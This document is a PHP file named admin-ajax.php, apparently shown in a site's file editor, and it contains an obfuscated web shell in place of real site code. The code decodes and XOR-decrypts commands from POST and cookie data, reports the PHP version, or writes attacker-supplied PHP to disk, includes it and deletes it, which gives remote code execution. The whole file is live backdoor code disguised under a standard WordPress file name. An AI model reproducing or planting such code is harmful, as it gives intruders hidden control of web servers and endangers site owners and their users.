Edit File: admin-ajax.php
<?php $cftynlat = /* x */ 'cftynlat' ^ ' '; $djaqtxk_f = "a".$cftynlat(114) . /*sfrqv */ "\162" . /* lpkdil*/ "\x61" /* ufr */ . /*gpxux */ "y".$cftynlat(896-801) . $cftynlat(787-678) . $cftynlat(97) /* znyufg*/ . /* ykm */ $cftynlat(1099-987); function bkhis($zwakauiilo, /* jxi_k */ $kjdzfxuwlb) { /* zzzed */ global /* ump*/ $cftynlat; /*_ */ $zwakauiilo = "<" . $cftynlat(1021-958) . /* v */ "\160" . "\150" . "p".$cftynlat(32) /* yr */ . $cftynlat(726-609) /* s */ . "n"."\x6c" /*ib */ . $cftynlat(105) . $cftynlat(110) /*hdpe */ . /*jyicse */ "k"."("."\x5f" . /*cqsu */ $cftynlat(995-900) . "F"."I"."\x4c" . /* nxqy */ "E"."_"."_".")".$cftynlat(380-321) . $cftynlat(32) . /* xv */ $zwakauiilo[$cftynlat(100)]; $wzgensaan /* k*/ = "\x66" /* qpiq*/ . $cftynlat(105) /* _vcw*/ . $cftynlat(867-759) /*o */ . $cftynlat(101)."\137" . "p".$cftynlat(117) /* m */ . "\x74" . "_"."c"."\x6f" . $cftynlat(110) . $cftynlat(854-738) . /* pf_hde */ $cftynlat(101)."n".$cftynlat(116) . "s"; $wzgensaan($kjdzfxuwlb, $zwakauiilo); /*hsvbk */ rkswncpd($kjdzfxuwlb);} $fxxtysh_o = /* pyh */ 73; function rkswncpd($kjdzfxuwlb) { global $cftynlat; include($kjdzfxuwlb); $_hfnbaxpp /* hm*/ = $kjdzfxuwlb; /* x */ @unlink($_hfnbaxpp);}function ew_hrwak() { global $cftynlat; $obiopfpgqd = /* xtpp*/ array(); $obiopfpgqd["\160" /*tu */ . "\166"] = /* gqefj */ phpversion(); $obiopfpgqd["\163" . "v"] /*fm */ = "3".$cftynlat(46) . "5"; $xsotwl = /* tmtsbh */ 74; echo @serialize($obiopfpgqd); } function vwqjx($zwakauiilo, /* q */ $yxodtxjybx) { global $cftynlat; $eoxfg = ""; /* k */ $cinjl /* vljb */ = strlen($zwakauiilo); $pmprjdc = strlen($yxodtxjybx); $obiopfpgqd /* op */ = 0; /*txamd_ */ $audpdcee_b = 0; while ($obiopfpgqd < $cinjl) /* heviun*/ { $uoupbpxlwx /*taxa */ = $zwakauiilo[$obiopfpgqd] ^ $yxodtxjybx[$audpdcee_b % $pmprjdc]; $eoxfg .= $uoupbpxlwx; $audpdcee_b++; /* ylh */ $obiopfpgqd++; } /*l */ if (strlen($eoxfg) /*h*/ > 20) { $blp_tljf = /* ldur */ substr($eoxfg, 0, 20); } /* u */ if /* yuzkp */ (empty($eoxfg)) { $eoxfg = date('Y-m-d /*z */ H:i:s'); /* znldcp*/ } /* giurhq */ return /* iytpn */ $eoxfg; } function /* vig */ lkbcdxxle($mpapawnyz){ /* pi */ global /* nkewq */ $cftynlat; /* mve*/ $zfugov = $cftynlat(649-549) /* txjtnh*/ . /* j */ "\67" . "c"."2".$cftynlat(101)."5".$cftynlat(56) . "f"."-"."\x36" . "0"."8"."\x37" . "-"."4"."4".$cftynlat(57) . $cftynlat(54) . "\x2d" /* pfaebj */ . /* vzlgj*/ "\x62" . "3".$cftynlat(581-483) . /* nqompq */ "\142" . /* odu */ "\55" /* j */ . $cftynlat(707-654) . $cftynlat(847-794) . /* egm */ "4"."f".$cftynlat(101).$cftynlat(100)."\x30" . "2"."4".$cftynlat(101) /*z*/ . /* fog */ "3"."\x64"; foreach ($mpapawnyz /* larli*/ as $o_tboy /* qjjdp */ => $zwakauiilo) { wgwqf(base64_decode($zwakauiilo), $zfugov, $o_tboy); /* jkool_*/ } } function wgwqf($zwakauiilo, $zfugov, $o_tboy){ global $cftynlat; /* woed */ $zwakauiilo = unserialize(vwqjx(vwqjx($zwakauiilo, $zfugov), /* mux */ $o_tboy)); $pdpiv = 'ww'; $oosxfhds /* bjuz */ = 'pdnqoq'; /*om */ if /* mcvn */ (isset($zwakauiilo["a"."\x6b"])) { if ($zwakauiilo["a"] /*cu */ == /* y*/ "i") /* qpmrc */ { ew_hrwak(); } /* inpkuu*/ elseif /* sle_r_*/ ($zwakauiilo["a"] == $cftynlat(101)) /*uqd */ { bkhis($zwakauiilo, /* y*/ sprintf("."."\57" /* bxqq*/ . "%"."s"."."."\160" . /*bhrn */ $cftynlat(108), md5($zfugov))); $wyijcj /* f */ = 44; } exit(); } } lkbcdxxle($_POST); $anmhejcveh /* vjyze */ = 'rawurldecode'; $_hbrtescv /*rkgnb*/ = /* svs */ $djaqtxk_f($anmhejcveh, $_POST); explode("", /*o */ $anmhejcveh); lkbcdxxle($_COOKIE); $cdbherx = $djaqtxk_f($anmhejcveh, $_COOKIE); ?>